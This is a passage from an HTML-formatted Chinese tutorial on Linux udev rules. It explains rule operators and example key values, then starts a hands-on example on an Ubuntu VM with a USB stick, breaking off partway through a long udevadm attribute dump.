#ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">GROUP:=&#34;users&#34;</span></code><span leaf="">（后续规则无法修改 </span><code><span leaf="">GROUP</span></code><span leaf=""> 的值）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">2) 特殊运算符</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">运算符</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">-=</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">移除值</span></strong><section><span leaf="">：从多值属性中删除指定值（适用于 </span><code><span leaf="">SYMLINK</span></code><span leaf=""> 或 </span><code><span leaf="">TAG</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">TAG-=&#34;uaccess&#34;</span></code><span leaf="">（移除 </span><code><span leaf="">uaccess</span></code><span leaf=""> 标签）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">==</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">匹配条件</span></strong><section><span leaf="">：仅用于匹配键（非赋值操作）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">SUBSYSTEM==&#34;usb&#34;</span></code><span leaf="">（匹配 USB 子系统设备）。</span></section></td></tr></tbody></table><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">注意事项</span></strong><span style="display: none;"></span></h5><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">=</span></code><span leaf=""> 与 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">+=</span></code></strong><span leaf="">：</span></section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">=</span></code><span leaf=""> 会覆盖原有值（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SYMLINK=&#34;my_link&#34;</span></code><span leaf=""> 将删除默认符号链接）。</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">+=</span></code><span leaf=""> 更安全，通常用于扩展而非替换。</span></section></li></ul><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">:=</span></code><span leaf=""> 的强制力</span></strong><span leaf="">：</span></section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">:=</span></code><span leaf=""> 赋值的属性不可被后续规则修改，即使后续规则使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">=</span></code><span leaf=""> 或 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">+=</span></code><span leaf="">。</span></section></li></ul><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">慎用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-=</span></code></strong><span leaf="">：</span></section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">移除系统默认值可能导致意外行为（如权限错误）。</span></section></li></ul></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">取值</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">udev 规则中的值都是被双引号包裹的，这其中也涉及到转义、大小写、正则、变量等，但其实我不需要特别关心，可以在遇到的时候使用 deepseek 等进行解释</span></p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">常用键的值示例</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">值示例</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">SUBSYSTEM</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">&#34;usb&#34;</span></code><section><span leaf="">, </span><code><span leaf="">&#34;block&#34;</span></code></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备子系统类型</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ACTION</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">&#34;add&#34;</span></code><section><span leaf="">, </span><code><span leaf="">&#34;remove&#34;</span></code></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备事件类型</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ATTR{size}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">&#34;4096&#34;</span></code><section><span leaf="">, </span><code><span leaf="">&#34;0&#34;</span></code></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备的 </span><code><span leaf="">sysfs</span></code><span leaf=""> 属性值</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ENV{ID_VENDOR}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">&#34;SanDisk&#34;</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备环境变量</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">MODE</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">&#34;0660&#34;</span></code><section><span leaf="">, </span><code><span leaf="">&#34;0644&#34;</span></code></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">八进制权限值</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">SYMLINK</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">&#34;my_device&#34;</span></code><section><span leaf="">, </span><code><span leaf="">&#34;backup_disk&#34;</span></code></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">符号链接名称</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">RUN</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">&#34;/usr/bin/mount.sh&#34;</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">脚本或程序的绝对路径</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4. udev 规则案例</span><span style="display: none;"></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">环境准备</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们使用桌面版 Ubuntu Desktop 24.04 虚拟机配合 USB 优盘进行测试</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">首先将优盘直通给虚拟机</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019032" data-ratio="0.675" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b6252f2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJoic4fq9Vc12z6PbU7VKTlzXiaqQiaR4O2aibBUK7GUJ8a2A2aJ3uyaErOw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">获取优盘属性</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 查看设备路径</span></span><span leaf=""><br/></span><span leaf="">sudo fdisk -l</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019028" data-ratio="0.37777777777777777" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=039de190&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJ9v7ibDBDKWGSg7vGOnJibPFAyKfFF14diczibdC1Pd7fWFdnf0oibr3wKgg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 获取 udev 详细信息</span></span><span leaf=""><br/></span><span leaf="">udevadm info -a -p $(udevadm info -q path -n /dev/sdb)</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019031" data-ratio="0.575" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=59505d7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJwQHtQnCTQaTiaIobK5Oia9D5lqmPDbwfQkbpvIskz5YgFar0dNWkEdRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">Udevadm info starts with the device specified by the devpath and then</span><span leaf=""><br/></span><span leaf="">walks up the chain of parent devices. It prints for every device</span><span leaf=""><br/></span><span leaf="">found, all possible attributes in the udev rules key format.</span><span leaf=""><br/></span><span leaf="">A rule to match, can be composed by the attributes of the device</span><span leaf=""><br/></span><span leaf="">and the attributes from one single parent device.</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">  looking at device &#39;/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8/target8:0:0/8:0:0:0/block/sdb&#39;:</span><span leaf=""><br/></span><span leaf="">    KERNEL==&#34;sdb&#34;</span><span leaf=""><br/></span><span leaf="">    SUBSYSTEM==&#34;block&#34;</span><span leaf=""><br/></span><span leaf="">    DRIVER==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{alignment_offset}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{capability}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{discard_alignment}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{diskseq}==&#34;81&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{events}==&#34;media_change&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{events_async}==&#34;&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{events_poll_msecs}==&#34;-1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{ext_range}==&#34;256&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{hidden}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{inflight}==&#34;       0        0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{integrity/device_is_integrity_capable}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{integrity/format}==&#34;none&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{integrity/protection_interval_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{integrity/read_verify}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{integrity/tag_size}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{integrity/write_generate}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{mq/0/cpu_list}==&#34;0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{mq/0/nr_reserved_tags}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{mq/0/nr_tags}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{partscan}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{power/async}==&#34;disabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{power/control}==&#34;auto&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{power/runtime_active_kids}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{power/runtime_active_time}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{power/runtime_enabled}==&#34;disabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{power/runtime_status}==&#34;unsupported&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{power/runtime_suspended_time}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{power/runtime_usage}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/add_random}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/atomic_write_boundary_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/atomic_write_max_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/atomic_write_unit_max_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/atomic_write_unit_min_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/chunk_sectors}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/dax}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/discard_granularity}==&#34;512&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/discard_max_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/discard_max_hw_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/discard_zeroes_data}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/dma_alignment}==&#34;511&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/fua}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/hw_sector_size}==&#34;512&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/io_poll}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/io_poll_delay}==&#34;-1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/io_timeout}==&#34;30000&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/iosched/async_depth}==&#34;2&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/iosched/fifo_batch}==&#34;16&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/iosched/front_merges}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/iosched/prio_aging_expire}==&#34;10000&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/iosched/read_expire}==&#34;500&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/iosched/write_expire}==&#34;5000&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/iosched/writes_starved}==&#34;2&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/iostats}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/logical_block_size}==&#34;512&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/max_discard_segments}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/max_hw_sectors_kb}==&#34;1024&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/max_integrity_segments}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/max_sectors_kb}==&#34;1024&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/max_segment_size}==&#34;65536&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/max_segments}==&#34;2048&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/minimum_io_size}==&#34;512&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/nomerges}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/nr_requests}==&#34;2&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/nr_zones}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/optimal_io_size}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/physical_block_size}==&#34;512&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/read_ahead_kb}==&#34;128&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/rotational}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/rq_affinity}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/scheduler}==&#34;none [mq-deadline] &#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/stable_writes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/virt_boundary_mask}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/wbt_lat_usec}==&#34;75000&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/write_cache}==&#34;write through&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/write_same_max_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/write_zeroes_max_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/zone_append_max_bytes}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/zone_write_granularity}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{queue/zoned}==&#34;none&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{range}==&#34;16&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{removable}==&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{ro}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{size}==&#34;62029824&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{stat}==&#34;    2020       19    10273      954        0        0        0        0        0      890      954        0        0        0        0        0        0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{trace/act_mask}==&#34;disabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{trace/enable}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{trace/end_lba}==&#34;disabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{trace/pid}==&#34;disabled&#34;</span><span leaf=""><br/></span><span leaf="">    ATTR{trace/start_lba}==&#34;disabled&#34;</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">  looking at parent device &#39;/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8/target8:0:0/8:0:0:0&#39;:</span><span leaf=""><br/></span><span leaf="">    KERNELS==&#34;8:0:0:0&#34;</span><span leaf=""><br/></span><span leaf="">    SUBSYSTEMS==&#34;scsi&#34;</span><span leaf=""><br/></span><span leaf="">    DRIVERS==&#34;sd&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{blacklist}==&#34;SKIP_IO_HINTS&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{cdl_enable}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{cdl_supported}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{delete}==&#34;(not readable)&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{device_blocked}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{device_busy}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{dh_state}==&#34;detached&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{eh_timeout}==&#34;10&#34;</span><span leaf=""><br/></span><span leaf="">    ATTRS{evt_capacity_change_reported}==&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">    